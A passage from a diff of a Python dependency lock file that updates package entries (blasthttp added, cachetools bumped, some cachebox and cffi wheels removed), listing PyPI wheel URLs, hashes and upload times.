"https://files.pythonhosted.org/packages/79/cf/86c60994a7be734abef0395e440dc11714f84ffcd369cbcd8e61c3d58126/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:783d1b9a0b3c77c43e7ae331b9d6561ad75827e16b2484e2a6cc289ec4d392ee", size = 390831, upload-time = "2026-04-10T12:19:39.591Z" }, - { url = "https://files.pythonhosted.org/packages/9d/db/acfb55f8d5ee4ea1c5f2d32ede25d4d04e944ba09d2832c27c085022490d/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c6476a2a842906fee782d92f8fbcb03ecfd22eecc39adb7fb5b047d7e1cf020", size = 396277, upload-time = "2026-04-10T12:20:05.735Z" }, - { url = "https://files.pythonhosted.org/packages/dc/4f/35e27e85a48e15671c5863addcabde910eb311800a621c3e47c04bd36d17/cachebox-5.2.3-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:184bbcfa1370415b6d1f09e4fb74ab697dac8df09f522aa217a2fac65f973744", size = 426980, upload-time = "2026-04-10T12:19:52.622Z" }, - { url = "https://files.pythonhosted.org/packages/09/4b/50f2cadf20c02db9e449f2e9fee95f3eb5768ab1804dd0a5eba6c98119ad/cachebox-5.2.3-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:f89df36b46f8f5e11c0c49701ec3cebddf51191f96afb7bb75c394faf3c1cbc8", size = 565539, upload-time = "2026-04-10T12:20:47.051Z" }, - { url = "https://files.pythonhosted.org/packages/43/53/b8e948cadb48b8bcf1d13c2aa4a788ff0e95b50ddb808c18e998499b4680/cachebox-5.2.3-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:fb0bdcd9e28686e3b91d5210c843542858f0f10de151181aee27a7978fe4992e", size = 670870, upload-time = "2026-04-10T12:21:02.141Z" }, - { url = "https://files.pythonhosted.org/packages/29/7b/d68ca3f59a9d6963c2f6b19bc4b1926a37db2e4a4f6c9891d12788e49ce2/cachebox-5.2.3-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:5196f0d2c2f99c92ddf0d2c37803ff90509d14a5df211b7754feb8b61ffd8740", size = 644542, upload-time = "2026-04-10T12:21:17.541Z" }, - { url = "https://files.pythonhosted.org/packages/f8/c8/44ae6d5dff09f044d61a92591e6a8db17f3b2ee51a54d375cce90271527b/cachebox-5.2.3-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:73671850d8c3634ab217398c83715d3feb52589ec97bd8e2f4d22e472741ea48", size = 610235, upload-time = "2026-04-10T12:21:32.93Z" }, - { url = "https://files.pythonhosted.org/packages/9a/1b/31cf2449da9a296f6c6c0002c7ae91a25c3a4bfef071763bbeb85300b402/cachebox-5.2.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:70c718f6bb77e6ba142b9a055b81ce85412a0c0e5e82a154489b45e6f91d09ec", size = 287614, upload-time = "2026-04-10T12:21:47.909Z" }, +version = "0.10.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/90/c2/082a4f3ab60863d8d8b345e8ab28d93b206d9fc3a1482220ae98c928ef92/blasthttp-0.10.1.tar.gz", hash = "sha256:480f2d128f59779ea569e8aeddee65c3eb613fb83649682896a27bce74d2bb39", size = 197387, upload-time = "2026-10-21T13:22:09.24Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0f/2c/a9384029d47f7527e2ae8e5b928455de73395064956ae21666a5e5f7dd8f/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:d62695de1f1d462568bc8b2490671690fbd919011a2ebb2b71e4116b91cb5edc", size = 5177987, upload-time = "2026-10-21T13:20:42.526Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/0c3c0fd5fea8a2c6875f3fa290c6a75209d3e41eba411e9bc8d48d0e209c/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:5fad1545b2894532be6a571d3af47267bd45da0b163f7d98b105778e3635e5dc", size = 4432780, upload-time = "2026-10-21T13:20:51.857Z" }, + { url = "https://files.pythonhosted.org/packages/d6/d6/a5c5087702a1a27ed212acab9994e3dd651f594e7eac3465468b6d3f0f58/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:64a497edec714a8f9d48bfc37c99bfb324512a21643e162a96ea247a22808dd6", size = 5108256, upload-time = "2026-10-21T13:21:18.121Z" }, + { url = "https://files.pythonhosted.org/packages/36/86/617a318ef9c3ff8e1b9e9e72f5cb380c9c1b319f19b0fb0b1251d49b690d/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c5b5ba5a1e0236d058c935e486d1077ea5e9eab9c051246bfeb4d3d7b593b4f4", size = 5110908, upload-time = "2026-10-21T13:21:00.353Z" }, + { url = "https://files.pythonhosted.org/packages/ae/92/f2df93521b67abce5d016a190f48a6e62367cf5d4762f14a1a83a3b1be86/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:95f4a807f5029c4603aa723cf81349276f9d53d4a46fe7339404c7a941935737", size = 4703012, upload-time = "2026-10-21T13:21:09.505Z" }, + { url = "https://files.pythonhosted.org/packages/f1/be/102ec1ddfc8a102eb2cf41bccc81b95ba570c018fa2cf1ce19d02fb6272e/blasthttp-0.10.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:532243148d9626f16168b2185d772c760f45eec6ce07abced7e2b764839324b0", size = 4768593, upload-time = "2026-10-21T13:21:27.175Z" }, + { url = "https://files.pythonhosted.org/packages/c5/6c/5fdc6b8a4c2faf184ee7238e89b192a157f13a1ffa5511e6bd5f8a9857e5/blasthttp-0.10.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:082c2c7cc1270c01e739d26ac1f7422d3c3c47bbccf25db1b47d72458d570e90", size = 5466478, upload-time = "2026-10-21T13:21:35.718Z" }, + { url = "https://files.pythonhosted.org/packages/9c/7b/4a7936396a1f291a8f9a15dded8eac29af932390e423a8752b4a7eacede8/blasthttp-0.10.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:40c12a9c60c2a5b4bda0b2b1fedcb4c38fe58273c8820c9e633c8a3d651f4d65", size = 4736015, upload-time = "2026-10-21T13:21:44.104Z" }, + { url = "https://files.pythonhosted.org/packages/22/41/bbf821bb435606527365e140f90c47446501040deb97f6c5049b5966a2fb/blasthttp-0.10.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c22d5a631699d3c4244c7a190a93cb5e8b848f096068b71e00b85bc7b0d801fc", size = 5241126, upload-time = "2026-10-21T13:21:53.139Z" }, + { url = "https://files.pythonhosted.org/packages/c9/1b/a6648272b99e82f4036c885941ac8e57aa7d6ca73c423170991c89ab54cf/blasthttp-0.10.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ff1d16cdf26213b7dae9338830b91a5b738c061eb2168fa0176fd645d6bde974", size = 5172743, upload-time = "2026-10-21T13:22:02.161Z" }, + { url = "https://files.pythonhosted.org/packages/b0/82/d166335c7bdcb62c937e4653dff22562901fd4fb829b5f4c348bb32fd9ab/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:7655066d0a68a1c6b5655088ea2eead485404a635668fd4f7b18c22fec86ef6a", size = 5169886, upload-time = "2026-10-21T13:20:44.188Z" }, + { url = "https://files.pythonhosted.org/packages/0f/01/08d1a4a112e5e3135d891503c48a79d923abd6f282081f28ad6a2ab1ddc0/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:ead925750ca6078e5bfeece23338156b65eecbbdadeae6ec233e66160f566ef9", size = 4431017, upload-time = "2026-10-21T13:20:53.155Z" }, + { url = "https://files.pythonhosted.org/packages/f4/42/6ea6e593db48ba7e52f7660b31a98e021044c1d46544092381afbf7af7fa/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:26b60c08e5c1d7262aac0d8d5198efb4f480b429eab3f5e36e48ca2832e03e16", size = 5095852, upload-time = "2026-10-21T13:21:19.527Z" }, + { url = "https://files.pythonhosted.org/packages/1c/41/fcb54790dfbe3f8d9b7f91c64f3e1d9ce7d8127204f0ba256b8c5c0c3954/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:ee4c5c07c1aaecbf16385a9213dcf7b117e3127c0227c4b233a32763a97ba5ba", size = 5100413, upload-time = "2026-10-21T13:21:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/43/32/28f4c090ce1ed5211d67a6e9319514efa7c848d4529bdd4beaedea0f3bf3/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:5905aa8ada6b7383a872e1d07e5860c39d0f70b982bc18a7edce731c5eb7f1c8", size = 4695161, upload-time = "2026-10-21T13:21:11.022Z" }, + { url = "https://files.pythonhosted.org/packages/e9/f2/0a8653ea963b5577b75dd2d9b7c83ab4318006c30749f127b46c6701313b/blasthttp-0.10.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:0c57fb5ab391fdee5bd215d277811682b9f8b6ae79e47355e083b7b2c06a26ef", size = 4762949, upload-time = "2026-10-21T13:21:28.593Z" }, + { url = "https://files.pythonhosted.org/packages/e6/04/923992f1f76fd26c1924cfc096c8c8577f7b945c598f121d43fba3c6e103/blasthttp-0.10.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0d9eb70f7e75807f081233286998428b9d5468119103fe2d59636b41f520e37c", size = 5456417, upload-time = "2026-10-21T13:21:37.055Z" }, + { url = "https://files.pythonhosted.org/packages/31/90/2ffeb75610a9df262d63d7f3e6edf78dd545f6a44a40dad327262073a66b/blasthttp-0.10.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5446e4d57cbddc235bf2f6bf07a0d51eb514ba24759bdd5ef0c1b3005545143e", size = 4734565, upload-time = "2026-10-21T13:21:45.812Z" }, + { url = "https://files.pythonhosted.org/packages/ab/94/ded3f8ea5505e62200f68c5ef65328f440e448c5b1ca1021445ec501cb12/blasthttp-0.10.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b69ba0720452ddd97e887b520016cc4f996716701dec4b60271b94be4bac0e5b", size = 5221587, upload-time = "2026-10-21T13:21:54.582Z" }, + { url = "https://files.pythonhosted.org/packages/56/b6/d396284aecf4fac53f058e544f12ff7c478916b06afa6fa79a56380a68fd/blasthttp-0.10.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:160ae19ade6813d41fe82fc8aa156f4edfde8f5a71fc16bb3b16773e89714073", size = 5165638, upload-time = "2026-10-21T13:22:03.57Z" }, + { url = "https://files.pythonhosted.org/packages/2a/eb/cab37db4c53e7db05cddb2016dff7ff6ccd463e6ec5d1fbe0f3296bb808a/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:abb9347c6f88a01eb63c66a1aa4b0f6410a30daacf5269111c32d2fc6333014b", size = 5170835, upload-time = "2026-10-21T13:20:45.754Z" }, + { url = "https://files.pythonhosted.org/packages/e4/cd/0d68fe8b674f06e2500c9598ca7fcf24c0f195d73fb4ad74395422b21957/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:ddc7296c42c78c1ce15ecacb1e4e16390210f5856724e63c5e1dcb93509e4304", size = 4427423, upload-time = "2026-10-21T13:20:54.489Z" }, + { url = "https://files.pythonhosted.org/packages/45/1d/77aadde0244799d8d78e23176438e968a5620ccf8e5743ff88ad2ff7b6dd/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:2fc72c3d2ac0f472a9af21b9b7004e97b6da5fa21f935e6b88667419fa2fd028", size = 5096767, upload-time = "2026-10-21T13:21:21.127Z" }, + { url = "https://files.pythonhosted.org/packages/60/87/b04c332b8cc78ad0ed276bdb202af145d7791ac59419b9fed2e5c1289563/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:a76109d7d9fc7ad0605386ccf0cf9d3c1be9d426132d3397f5eb5429c919b278", size = 5103763, upload-time = "2026-10-21T13:21:03.196Z" }, + { url = "https://files.pythonhosted.org/packages/a0/5d/a8d1da056351140c4234657c93d18bc02012b3bc6027d1dd1e56988ec26d/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:552b609ab9a88cf03f6c128bdfa7717f05328c8d1f75a17dcbe7b24c35edbc1e", size = 4703850, upload-time = "2026-10-21T13:21:12.474Z" }, + { url = "https://files.pythonhosted.org/packages/d9/30/869cf7f6738840ef22266a5109e39e1f01466e6646ce23c1d07860763644/blasthttp-0.10.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:6eb2d7bf201c3ef10db69e247999fbadfdee8740a978198a790bdabb5f8e3620", size = 4771548, upload-time = "2026-10-21T13:21:29.887Z" }, + { url = "https://files.pythonhosted.org/packages/6b/e5/f0679903e507521b9fc3efad55673ee494b49fd54694c15c9b6f13c505ab/blasthttp-0.10.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ac4b11855e171c9da707a078e7474dcf7220ea7c942c42ba91c4411d6589e106", size = 5457487, upload-time = "2026-10-21T13:21:38.626Z" }, + { url = "https://files.pythonhosted.org/packages/43/eb/9a67d94d70d6ad37faa1b59841075edcaf58894aa2bd89adb4e394b1807a/blasthttp-0.10.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1051d7be8071f5629a4a063e0f1608031b42a6647ab5f3385bd24a6e517b34bc", size = 4729121, upload-time = "2026-10-21T13:21:47.368Z" }, + { url = "https://files.pythonhosted.org/packages/8b/30/eee14afc6f39483ba6b22599f6703c88cd404836e916055c122f06daaf2e/blasthttp-0.10.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:dfbefdc8fa1c39ebe2d84e6a716e5587aae6a440af154b262935dcb7d08dc980", size = 5225102, upload-time = "2026-10-21T13:21:55.996Z" }, + { url = "https://files.pythonhosted.org/packages/3c/cd/5d9cf4a1ecb9d8f6423772a4bba68b9e61a91e3467fb4006b61336738521/blasthttp-0.10.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b57038176bbd8eddadf6f1cd53ed2c8bc8698d843ed4c8bd348b8c8c016c8517", size = 5172971, upload-time = "2026-10-21T13:22:04.984Z" }, + { url = "https://files.pythonhosted.org/packages/fb/d8/77fb46f8010f2d54739593fb108c9f106f1ea0fabf74094a99eb086009c3/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:25c80e4c70286997e82becba838810a79a6df7f8f879b7e1ab05ed1971d55c44", size = 5168250, upload-time = "2026-10-21T13:20:47.609Z" }, + { url = "https://files.pythonhosted.org/packages/1d/64/965a157ef7849319dbad31635fd0e97d5a70becc9183d11227146e2badd4/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:c996d613328756736e652d1457cc3eb881eee3272885808f6ab058f840d71b33", size = 4428934, upload-time = "2026-10-21T13:20:55.875Z" }, + { url = "https://files.pythonhosted.org/packages/28/8d/9295534a0761647c3d3a4741ce958405ede21ff7b6dccc11ba4569198002/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:9b72c862179ed545f80d3e117f7d4d78a46de67b615ae98e32732ba661c244ac", size = 5099859, upload-time = "2026-10-21T13:21:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/05/03/a769784714e6c15e58a0f6a2cce9cc7264583ca4af2ee1f3f54321c0b777/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:8f2a99b1ff72cc6de824c0e2670ec6b61a8e62859f262b824af80a757b28566c", size = 5106384, upload-time = "2026-10-21T13:21:05.253Z" }, + { url = "https://files.pythonhosted.org/packages/cf/5d/e0f826b9bb3c7628e56082e1b0580d401b057c02455ecb7fc87d30b66534/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:e3a79da057434cf574d41dcaec1a528a17458dedc0adcb7f9b4c6b79ce272471", size = 4702879, upload-time = "2026-10-21T13:21:13.849Z" }, + { url = "https://files.pythonhosted.org/packages/d1/5f/dbc30ed18af74f33c082ae9744cda12ddbe8f54ebfa982057ef368a64862/blasthttp-0.10.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e815f61aa9778d9f9d81c5440689253ee38db5078d850da5665492f887f0a54c", size = 4772628, upload-time = "2026-10-21T13:21:31.245Z" }, + { url = "https://files.pythonhosted.org/packages/ec/fb/8d2c90a697ee164bcacd8e2e24ba90067520dba342f775799bff552b7c7d/blasthttp-0.10.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:acbdf56544811315880e37ed3c467a0d402161d6307ab70a0aa5de8362363cd7", size = 5458248, upload-time = "2026-10-21T13:21:40.158Z" }, + { url = "https://files.pythonhosted.org/packages/9d/33/beb2f1db4b8993d9e0918381935940c4a9d04089611351c8cee7f4ebfe0d/blasthttp-0.10.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:94fa034d21c2cc5302e6d7d2815fd07448670deb882c566ebf21318e0da99559", size = 4730912, upload-time = "2026-10-21T13:21:48.772Z" }, + { url = "https://files.pythonhosted.org/packages/9a/05/0f9665f1e4826e00f5b5ba8bb72872c79f66dd88e969d5706cd328ffe0c8/blasthttp-0.10.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:f4bf2aebf22148261770e535156f99f35dad7d697c5858a3b0bf3dccf1caefa2", size = 5229645, upload-time = "2026-10-21T13:21:57.721Z" }, + { url = "https://files.pythonhosted.org/packages/59/a9/1c7d4d085416e9ecf0a5dc6b3606ba1095003fb4430341821307d4109771/blasthttp-0.10.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:dba11a45a98d9996d0c82143084f968e7cc404b5c2aa00c51258f427654caacd", size = 5175100, upload-time = "2026-10-21T13:22:06.513Z" }, + { url = "https://files.pythonhosted.org/packages/48/f6/2fa1a30879884e8b39ac068b4742fb6c262787f1a19addd67b78acd9f7c9/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_aarch64.whl", hash = "sha256:ea83ad7ed6a611410d31b3181205016bb1da66e9ad9f14af6690327baadd26c3", size = 5170007, upload-time = "2026-10-21T13:20:48.971Z" }, + { url = "https://files.pythonhosted.org/packages/99/75/d6f5c39d75269447ef8d18833023d1870643a50df143740a615921b90fef/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_armv7l.whl", hash = "sha256:5890e68d2a652c8477ce319d00f0114d379602e3e67148eb56f55f820848f61d", size = 4430846, upload-time = "2026-10-21T13:20:57.243Z" }, + { url = "https://files.pythonhosted.org/packages/3f/5d/8057ca7e62636027c6c6bfea9957a69b081eebb0edd56e3c2b6050869770/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_i686.whl", hash = "sha256:b6ac7361de023debd6bb88ded132eef4df42492d5fa2643e7e59d8f985ca0531", size = 5101844, upload-time = "2026-10-21T13:21:24.134Z" }, + { url = "https://files.pythonhosted.org/packages/d6/d8/e23fd44a3950586f65b71e54121fbb34855353a803cc3367ed6395f497b1/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_ppc64le.whl", hash = "sha256:a9784471d31bab68da265cb546f3944b3809092c713030b14dafca0456e8e6ca", size = 5106407, upload-time = "2026-10-21T13:21:06.765Z" }, + { url = "https://files.pythonhosted.org/packages/02/f7/4b1dffbf2aa61626929859a24b6eaffef9b0f3a0bc5ab4bb70cc3b130f67/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_s390x.whl", hash = "sha256:2d3b7740a44d211739a965d96ba7edbc22671a291a2d6ac970534f6a3bab350e", size = 4704504, upload-time = "2026-10-21T13:21:15.189Z" }, + { url = "https://files.pythonhosted.org/packages/4c/8d/c6c6f8dab5673eb586b234cddfbff4df24c2a4dc439e151739ac56a99151/blasthttp-0.10.1-cp315-cp315-manylinux_2_28_x86_64.whl", hash = "sha256:d308f076011b6ae938af4282dbcdc6e98f5b679b4917e997dc174c47d71ce696", size = 4774016, upload-time = "2026-10-21T13:21:32.886Z" }, + { url = "https://files.pythonhosted.org/packages/c6/b2/bb8fa1e95c123ff2a9df10e27cf00aca37e46f11f0907640b8e33e2ded7b/blasthttp-0.10.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:5130e267195441e47069e012993b6777912008defa8767842aa9de89c44904bd", size = 5457543, upload-time = "2026-10-21T13:21:41.479Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b3/385707a9de2b60917f131c260248a6973968947c41082e65b4e2f35352cc/blasthttp-0.10.1-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:a5da13f3cb2b57ed993fcbbdd49cdda0564c10945cab5096329ec483e85bb0dd", size = 4731843, upload-time = "2026-10-21T13:21:50.09Z" }, + { url = "https://files.pythonhosted.org/packages/d5/b7/57efe30c71ba7a841968659a3e4151de9a38079d5f63dabb1340836471dc/blasthttp-0.10.1-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:11fdd2a6ba46a115b2d95eabb836a73ccaed04e1f083f2c07195a8287fc055b0", size = 5232865, upload-time = "2026-10-21T13:21:59.268Z" }, + { url = "https://files.pythonhosted.org/packages/f1/dd/ce4502ac238ee2524cc0f06df13ce565ac3b8a40ef4d64ed399815aa7c3b/blasthttp-0.10.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:bda21226b8c3b65d3bb319e3b38a09cc02bd35dfa5af63debd407e5404c443a8", size = 5176823, upload-time = "2026-10-21T13:22:07.923Z" }, ] [[package]] name = "cachetools" -version = "7.1.7" +version = "7.2.7" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/70/d2/47e8bc06fe2a06d3f5bdf20f1126ab66c4e99dc48d940e7ba873f7ac7131/cachetools-7.1.7.tar.gz", hash = "sha256:a3e2a00b14d8f8a6b70c1dae7b4685e7ad3bc965c5b42124a2d6ce895da6cf50", size = 40680, upload-time = "2026-08-01T21:20:40.434Z" } +sdist = { url = "https://files.pythonhosted.org/packages/40/3a/bce69b9ecf4658dcd3599abe5122a9031386f8f94bd85c6525fca9109db7/cachetools-7.2.7.tar.gz", hash = "sha256:e2154c809ce9e1247120258c36821467597b5663d44c3255a9790785f23c2b1e", size = 47240, upload-time = "2026-10-28T22:15:17.189Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e4/d8/767faeda872075724b95dd675466a645f1b92aadcdcf2d1429dcfd76c176/cachetools-7.1.7-py3-none-any.whl", hash = "sha256:ef98ef375ad188819ef2f9b3645e3987f4b8c5b7550e436ad998c2de78296df0", size = 16830, upload-time = "2026-08-01T21:20:38.977Z" }, + { url = "https://files.pythonhosted.org/packages/dc/68/211287b89b122a6842b3f078ffecc5a2abd3c0e4362748586f765e2fb3c5/cachetools-7.2.7-py3-none-any.whl", hash = "sha256:88e6b53373a96786d20894fed9ce623ae5b73cbc07421b7a73098db088be69ae", size = 19654, upload-time = "2026-10-28T22:15:15.555Z" }, ] [[package]] @@ -652,18 +494,6 @@ dependencies = [ ] sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, - { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, - { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, - { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, - { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, - { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, - { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, - { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, - { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, - { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, - { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, - { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, @@ -740,22 +570,6 @@ version = "3.4.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = 